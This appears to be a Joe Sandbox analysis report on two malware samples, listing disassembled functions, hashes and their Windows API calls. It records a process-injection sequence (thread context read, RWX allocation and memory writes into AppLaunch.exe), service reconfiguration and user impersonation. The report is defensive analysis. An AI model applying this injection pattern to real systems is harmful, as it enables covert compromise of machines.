Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 1acaec92c52b6edf069d8770f541754ee393c214bb4af37ded9511ffed8f7cdf
Instruction ID: b66c56827b4b3ed4a30a1f28377a2e1d48bef431a602457112d74d462b9f9f52
Opcode Fuzzy Hash: 1acaec92c52b6edf069d8770f541754ee393c214bb4af37ded9511ffed8f7cdf
Instruction Fuzzy Hash: 9801D672200619BBDB295E69AC48DBB7A6CEFC57A1B010135FE64E318CD771CE50CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01133680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0113369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011336B2
DispatchMessageA.USER32(?), ref: 011336CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011336DA

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 7a177b522e5e309a29d770363747dc050ac5d71de14afcc0ecb1a059ad5199ef
Instruction ID: 1137877874275eeab1d6b157664a1e281d9cebf4c0f24b45228517a2bf097a0a
Opcode Fuzzy Hash: 7a177b522e5e309a29d770363747dc050ac5d71de14afcc0ecb1a059ad5199ef
Instruction Fuzzy Hash: B30144B29102557BDF344AAA6C4CEEB7A7CFBC5B11F040229BA25E2188D6618684D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 011365E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,01132B33), ref: 01136602
CharPrevA.USER32(?,00000000), ref: 01136612
CharPrevA.USER32(?,00000000), ref: 01136629
CharNextA.USER32(00000000), ref: 01136635

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 5647986656db3ae7e6223eb53f0bce7884e0f7baed927521b8b3dca2d9a05db1
Instruction ID: 4555052e452ce4bf2583b9895dc9cc32cbd4594b11e9cb4e2bc13822f4b97919
Opcode Fuzzy Hash: 5647986656db3ae7e6223eb53f0bce7884e0f7baed927521b8b3dca2d9a05db1
Instruction Fuzzy Hash: 72F0D1B20041507EE73B0A2C9888CBBAF9CCFC71D572901BFE5E69300AD7150A46E761

Uniqueness

Uniqueness Score: -1.00%

Function 011369B0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 01136FBE: GetModuleHandleW.KERNEL32(00000000), ref: 01136FC5

__set_app_type.MSVCRT ref: 011369C2
__p__fmode.MSVCRT ref: 011369D8
__p__commode.MSVCRT ref: 011369E6
__setusermatherr.MSVCRT ref: 01136A07

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: b598644bedb331e790f7dc533f2e19dbceab76360a15e812151c02f7771036c8
Instruction ID: 3386541c4667249e69d0fed80abe9eb600a6b441a61011da51314a5d417fd8b5
Opcode Fuzzy Hash: b598644bedb331e790f7dc533f2e19dbceab76360a15e812151c02f7771036c8
Instruction Fuzzy Hash: 6DF092B4504316DFD77DAB34B609608BBA1FB95335B100B69E4B2862DCCB7A86D5CB10

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: a3839540.exePID: 6552, Parent PID: 6536COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFCE0781A75 Relevance: 3.7, APIs: 2, Instructions: 656
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32 ref: 00007FFCE0781B1B
ChangeServiceConfigA.ADVAPI32 ref: 00007FFCE0782021

Memory Dump Source

Source File: 00000004.00000002.227037915.00007FFCE0780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCE0780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffce0780000_a3839540.jbxd

Similarity

API ID: Service$ChangeConfigControl
String ID:
API String ID: 1778205439-0
Opcode ID: b2a280b65b9733d862a8fede80801fb4c676720de4abe495ecc4cdeeeea35794
Instruction ID: 117e2a7960801d20ece25b424d52079b4244649a050e3e3e8d07ee9a78aadcc3
Opcode Fuzzy Hash: b2a280b65b9733d862a8fede80801fb4c676720de4abe495ecc4cdeeeea35794
Instruction Fuzzy Hash: B512C530918A9D4FDB68DF28DC467F977D1FB58311F00426EE84EC3291DA78A9918BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCE0780B8D Relevance: 1.8, APIs: 1, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 00007FFCE0780D99

Memory Dump Source

Source File: 00000004.00000002.227037915.00007FFCE0780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCE0780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffce0780000_a3839540.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 6d3c7d4ed51de32dbf8c2dec8a59bbd42c04e65c0db49c7087677afb04c54f84
Instruction ID: 5dcf5074db03409c3dd9718115c24eea509f8ce62b7036564e1deb0e54e1081a
Opcode Fuzzy Hash: 6d3c7d4ed51de32dbf8c2dec8a59bbd42c04e65c0db49c7087677afb04c54f84
Instruction Fuzzy Hash: 9D919230608A4D8FEBA8EF28C8557E977D1FF59310F04416ED84DC7292DB78A845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCE07816B2 Relevance: 1.8, APIs: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 00007FFCE0781835

Memory Dump Source

Source File: 00000004.00000002.227037915.00007FFCE0780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCE0780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffce0780000_a3839540.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 543608b2dbf2736629771e2679dc9c342701bbd685dc25fa1d4bab4fb1e4d671
Instruction ID: aae2a3ef30bfa023a44f9d3e4a0ed88af24cac4ac9bde19983c9967b23d12637
Opcode Fuzzy Hash: 543608b2dbf2736629771e2679dc9c342701bbd685dc25fa1d4bab4fb1e4d671
Instruction Fuzzy Hash: 18912931A0CB5C4FD748DB6898467F9BBE1FF56321F04027ED049C3292DB686855CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCE0781064 Relevance: 1.7, APIs: 1, Instructions: 205
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32 ref: 00007FFCE07811C9

Memory Dump Source

Source File: 00000004.00000002.227037915.00007FFCE0780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCE0780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffce0780000_a3839540.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 31412b36db99e97c6bc8cfebcc9c9458ce79008991bd33d3f537cdbbf5b47f57
Instruction ID: d689bdb9da6dce3e01ffb872bac015f3238b992b7b4861376cbf128100be805a
Opcode Fuzzy Hash: 31412b36db99e97c6bc8cfebcc9c9458ce79008991bd33d3f537cdbbf5b47f57
Instruction Fuzzy Hash: 8151C630918A8D8FDB58EF28D84A7F577D1FB59310F10412AE84EC3291DE78D841CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCE0780F65 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FFCE078102A

Memory Dump Source

Source File: 00000004.00000002.227037915.00007FFCE0780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCE0780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffce0780000_a3839540.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: b7e32c9a511c64f24651a95cd0dc1f9bc638f278e243df7867a243cbbbb866a0
Instruction ID: 04f8ced94d2b0eedac34461fb3f5cba27310fdf781360162c889e5fa076a7d4b
Opcode Fuzzy Hash: b7e32c9a511c64f24651a95cd0dc1f9bc638f278e243df7867a243cbbbb866a0
Instruction Fuzzy Hash: 8631B33190CB5C8FD729DB989899AF9BBF0EB65311F04816FD04AD3252CB746805CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCE07814E1 Relevance: 1.6, APIs: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFCE0781595

Memory Dump Source

Source File: 00000004.00000002.227037915.00007FFCE0780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCE0780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffce0780000_a3839540.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 5019c89649b3796bb53496ac532032d571276fd3ec4ab841d5aeb48b760cd60b
Instruction ID: 09a247949e9bd5348b80039e56a26a168a02b5834ca2088f7abe18abdefa1df7
Opcode Fuzzy Hash: 5019c89649b3796bb53496ac532032d571276fd3ec4ab841d5aeb48b760cd60b
Instruction Fuzzy Hash: C6313B3090C69D8FDB59DB6888457E8BFE0FF56320F04025FC049C3192CB646416CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: b1121980.exePID: 6648, Parent PID: 6536COMMON

Executed Functions

Function 009C2289 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

mework\v4.0.30319\AppLaunch.exe, xrefs: 009C7DAB
C:\Windows\Microsoft.NET\Fra, xrefs: 009C7D4D

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Fra$mework\v4.0.30319\AppLaunch.exe
API String ID: 0-949134037
Opcode ID: c944c1bf8f54f038fe3e3a4e24f8236481f54eec7b4c565c202609552d47eb1f
Instruction ID: 6b68d1bd3af24f5e58bacb6d267cdcf7a291aa1e98e66aec30284b5cc7004886
Opcode Fuzzy Hash: c944c1bf8f54f038fe3e3a4e24f8236481f54eec7b4c565c202609552d47eb1f
Instruction Fuzzy Hash: 1891CB71D04209ABDF208FE4CC01FADB7B5BF68314F148259F949AB2A5EB7029918F51

Uniqueness

Uniqueness Score: -1.00%

Function 009C3846 Relevance: 17.6, APIs: 11, Instructions: 1107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b0480c92c3ee0800bf0563039885f50c5a8bcd71a111dc5dc6e96a23fb66ff
Instruction ID: 06dd4a68f5c9bd2ebaced43b30591b544b2316be4a6fb17610b2f79465e23438
Opcode Fuzzy Hash: 16b0480c92c3ee0800bf0563039885f50c5a8bcd71a111dc5dc6e96a23fb66ff
Instruction Fuzzy Hash: 8842CD07A30E2B06E30C60398D567E6994ED7EB730F865336BE76DB6F4D75E08429181

Uniqueness

Uniqueness Score: -1.00%

Function 009C7E40 Relevance: 7.6, APIs: 5, Instructions: 55
memorythreadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadContext.KERNELBASE(?,00000000), ref: 009C7E41
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 009C7E7D
GetConsoleWindow.KERNEL32 ref: 009C7E7F
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 009C7EA6
WriteProcessMemory.KERNELBASE(?,00000000,00A36000,?,00000000), ref: 009C7EDA

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: MemoryProcess$AllocConsoleContextReadThreadVirtualWindowWrite
String ID:
API String ID: 1785510716-0
Opcode ID: 21a41a16e23c42234276c3765b4ac8f617bd8492f137b5c7c4e98041924963d9
Instruction ID: 567fcdb1095824f526248efc313250e0f9c13a098794a7b4bd88b29131096f6f
Opcode Fuzzy Hash: 21a41a16e23c42234276c3765b4ac8f617bd8492f137b5c7c4e98041924963d9
Instruction Fuzzy Hash: EB117671D04218AFDB258FE0CC0AFADBB75BF24301F24805DF606AB1A6EB7559118F61

Uniqueness

Uniqueness Score: -1.00%

Function 009C3BAC Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00003B39), ref: 009CB2DA

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 26b2b47cb5989359c0b082889712f2898f9bb838c7147aca5c1485af8bc40ef1
Instruction ID: 12bb4b3fd4b4e5577670993eb8278b4b4501dda0e65ff622bd368516a830d83a
Opcode Fuzzy Hash: 26b2b47cb5989359c0b082889712f2898f9bb838c7147aca5c1485af8bc40ef1
Instruction Fuzzy Hash: 0A902220E00000A38C00CBA00F0EF3C3A3083803003008808A223808008BC80800C823

Uniqueness

Uniqueness Score: -1.00%

Function 00A09522 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,009FA128,?,009FA0B9,009FAAC1), ref: 00A0952A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A09562
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A09582

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 10ea6f4f97f996f8d281acc9a4c802a18c67d5e935ddcd7ff72cd4890f990a71
Instruction ID: 5a5dbe27eb56d1749bebf3225bd9bd5bc1c26ad712042eade8315fb2a733edf2
Opcode Fuzzy Hash: 10ea6f4f97f996f8d281acc9a4c802a18c67d5e935ddcd7ff72cd4890f990a71
Instruction Fuzzy Hash: 3C11D6F1A1521D7FBB126BB6AC8EDEF397CDE953947140528F801D2182FA60DE4542B2

Uniqueness

Uniqueness Score: -1.00%

Function 00A111D9 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1069F: GetConsoleOutputCP.KERNEL32(8D5B1A95), ref: 00A10702

WriteFile.KERNEL32(?,?,?,00000000,00000000), ref: 00A11342
GetLastError.KERNEL32 ref: 00A1134C

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 78e25115c6c5edd7db0bd15f4a38f1805806db7496d69fc17bf6381cd784a512
Instruction ID: d3c39c02a5b2afc4b8176bfbbbbc7685d64ce8b573633a6832ab5390c1ce3e9c
Opcode Fuzzy Hash: 78e25115c6c5edd7db0bd15f4a38f1805806db7496d69fc17bf6381cd784a512
Instruction Fuzzy Hash: C061D471D04249AFDF11CFA8C884EEEBFB9AF59308F144195EA14EB246D375D982CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A10C84 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00A10D20
GetLastError.KERNEL32 ref: 00A10D46

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: d6e0e64121b01cce1bb95f0149276f70333e33acdf9153c4354c064ea40b0344
Instruction ID: ecc6af46ca2523d5128026c0d9595f036c954b2da5892a1d430a1bcb36c9dc10
Opcode Fuzzy Hash: d6e0e64121b01cce1bb95f0149276f70333e33acdf9153c4354c064ea40b0344
Instruction Fuzzy Hash: 82218035A002189FCB15CF6ADC80AD9B7B9EB49301F2441A9E90AD7211D670EDC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00A035D9 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00A036E6,00A35430,0000000C), ref: 00A03625
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00A036E6,00A35430,0000000C), ref: 00A03637

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 235ed163c86d7488b80f44a6c18a700fee972e639dad4ce3f572859a2ea545d2
Instruction ID: d0a61cdb90d2f32401348d5a4b86f34273fb7bbc34bfc7350360dc43b18d5ac7
Opcode Fuzzy Hash: 235ed163c86d7488b80f44a6c18a700fee972e639dad4ce3f572859a2ea545d2
Instruction Fuzzy Hash: 4911A233504B056ACF308B3EACD8623BAA9A756330F390719D0B6873F1C332DA829644

Uniqueness

Uniqueness Score: -1.00%

Function 009C9773 Relevance: 3.0, APIs: 2, Instructions: 24
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 009C978F
Sleep.KERNELBASE(00000064), ref: 009C9797

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ConsoleFreeSleep
String ID:
API String ID: 1084192268-0
Opcode ID: 692ade2bfae9dd56a255a929344c13197efa36b713e002bfa5bfbdeb7888fb4e
Instruction ID: f93b7ae18034da66a008a1ecfdb16ebf66f0120105c64fe04aabfa3d75e158fa
Opcode Fuzzy Hash: 692ade2bfae9dd56a255a929344c13197efa36b713e002bfa5bfbdeb7888fb4e
Instruction Fuzzy Hash: F4F0A0359093419FD3019FA8D845F897B30AF1A320B09419AE990CB3E2D6359861CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A015EF Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?), ref: 00A01630

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

